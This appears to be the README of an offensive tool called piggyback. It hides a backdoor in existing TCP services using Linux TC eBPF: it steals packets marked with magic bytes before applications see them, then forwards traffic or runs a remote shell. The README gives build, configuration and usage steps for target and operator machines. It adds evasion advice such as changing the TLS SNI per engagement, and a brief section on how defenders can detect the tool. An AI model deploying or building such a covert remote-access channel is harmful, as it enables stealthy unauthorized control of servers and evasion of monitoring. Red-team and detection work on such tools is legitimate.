piggyback/README.md
2026-04-04 18:03:43 +02:00

5.5 KiB

piggyback

Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use, steals matching ones before the application sees them, and forwards or executes them. Normal traffic is unaffected. Zero changes to existing services.

Mode 1 — Plain TCP
  Client                        Server (:80)
    │── TCP packet ────────────→ TC eBPF ingress
    │   [MAGIC][header][payload] magic match?
    │                              YES → TC_ACT_STOLEN → daemon
    │                              NO  → TC_ACT_OK → app (nginx etc.)

Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
  Client              Middleware (:443)       Server (:80)
    │── valid TLS ──→ │                         │
    │   [MAGIC]       │── [MAGIC][...] ────────→ TC eBPF ingress
    │   inside        │   (inner bytes fwd)     magic match? → same as Mode 1

Mode 2 is identical server-side. Client establishes real TLS with a configurable SNI so middleware routing works. Server never handles TLS — simpler, smaller surface.


Requirements

  • Linux 5.8+ (ring buffer + sk_lookup)
  • Root / CAP_NET_ADMIN + CAP_BPF
  • libbpf, clang, llvm, bpftool, libsodium, libssl
# Fedora
sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel
# Debian/Ubuntu
sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev

Configuration

All config is compile-time. Edit the constants at the top of each file, then make.

piggyback.bpf.c — eBPF kernel program

#define PORTS   { 80, 8080 }   // TCP ports to watch (must match daemon LISTEN_PORT)
#define PORTS_N 2
#define MAGIC   "\xDE\xAD\xC0\xDE\xCA\xFE"  // magic byte sequence (keep in sync)

piggyback.c — server daemon

#define IFACE        ""            // "" = auto-detect default-route interface
#define LISTEN_PORT  80            // must match eBPF PORTS array
#define FWD_HOST     "127.0.0.1"   // default forward target (no-auth mode)
#define FWD_PORT     22            // default forward target port
#define SERVER_IP    "1.2.3.4"     // own public IPv4 (used in sig replay check)
#define VERBOSE      0

#define AUTH_ENABLED 0             // 1 = require Ed25519 signature on every connection
#define TRUSTED_PUBKEY { 0xAB, 0xCD, ... }  // 32-byte pubkey from `make keygen`

pb-client.c — client

#define SERVER_IP     "1.2.3.4"
#define SERVER_PORT   80
#define LOCAL_PORT    2222         // ssh -p 2222 localhost

#define CLIENT_MODE   MODE_TCP     // MODE_TCP or MODE_TLS
#define SNI           ""           // required for MODE_TLS — change per engagement

#define KEY_PATH      ""           // Ed25519 private key PEM, or "" to disable auth
#define CLIENT_ACTION ACTION_FORWARD   // ACTION_FORWARD or ACTION_SHELL
#define TARGET_IP     "127.0.0.1"  // forward target (ACTION_FORWARD)
#define TARGET_PORT   22
#define SHELL_CMD     "bash"       // (ACTION_SHELL)

SNI note: using the same SNI across deployments is a fingerprint. Change per engagement.


Build

make

Generate Ed25519 keypair (for auth)

make keygen
# Prints public key hex → paste into TRUSTED_PUBKEY in piggyback.c
# Saves engagement.key → set as KEY_PATH in pb-client.c (never copy to target)

Usage

# Server (target machine)
sudo ./piggyback

# Client (operator machine)
./pb-client

# Then connect locally
ssh -p 2222 user@localhost

No CLI flags — all config is baked into the binary at compile time.


Auth flow (AUTH_ENABLED=1)

  1. make keygen — generate Ed25519 keypair
  2. Set TRUSTED_PUBKEY in piggyback.c, AUTH_ENABLED=1, recompile daemon
  3. Set KEY_PATH in pb-client.c, recompile client
  4. Client sends: MAGIC (6 bytes) + signed 80-byte header + optional shell cmd
  5. Daemon verifies Ed25519 sig, checks timestamp (±60s window), checks replay ring
  6. On pass: dispatches action from header (ACTION_FORWARD or ACTION_SHELL)
  7. On fail: connection dropped silently

Signed header format (80 bytes):

[0..7]   unix timestamp, big-endian uint64
[8]      action (0x01 = forward, 0x02 = shell)
[9..12]  target IPv4 (forward) or zeros
[13..14] target port big-endian or zeros
[15]     reserved
[16..79] Ed25519 sig over bytes [0..15] + SERVER_IP (4 bytes)

Signature covers SERVER_IP — a captured packet cannot be replayed to a different host.


Detection (Blue Team)

tc filter show dev eth0 ingress   # TC eBPF filters on interface
bpftool prog list                  # all loaded eBPF programs
bpftool map list                   # eBPF maps (look for conn_state, pending, daemon_sock)

Baseline bpftool prog list on clean systems. Alert on new TC ingress programs on internet-facing interfaces.


Known Limitations

  • ACTION_FORWARD target is IPv4 only — the signed header has 4 bytes for target IP; IPv6 forward targets require header format extension
  • Replay ring is size-bounded — 256 entries evicted by overwrite, not by time expiry; with REPLAY_WINDOW_SEC=30 this is sufficient for normal use
  • sk_lookup may fail on some kernels — daemon logs a warning and falls back to connect-back mode (works except behind strict NAT)
  • Magic must fit in first ~6 TCP payload bytes — split across segments handled by per-connection eBPF state machine, but only within a 6-byte sliding window per packet; edge cases with very small MSS possible